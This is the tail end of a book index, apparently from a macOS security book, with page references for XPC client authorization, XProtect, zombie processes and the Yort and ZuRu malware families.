XPC, 265–275

authorizing clients, 269–271
client requirements, 270–271
delegates, 266
extracting audit tokens, 266–268
initiating connections, 274
listeners, 265–266
methods, 272–274
protocols, 271–273
remote connections, 271–272
remote methods, 275–276
verifying clients, 268–271

XProtect, 150, 183, 280

Y
Yort malware, 13–14

Z
zombie processes, 32
ZuRu malware, 24–28, 58–59, 63
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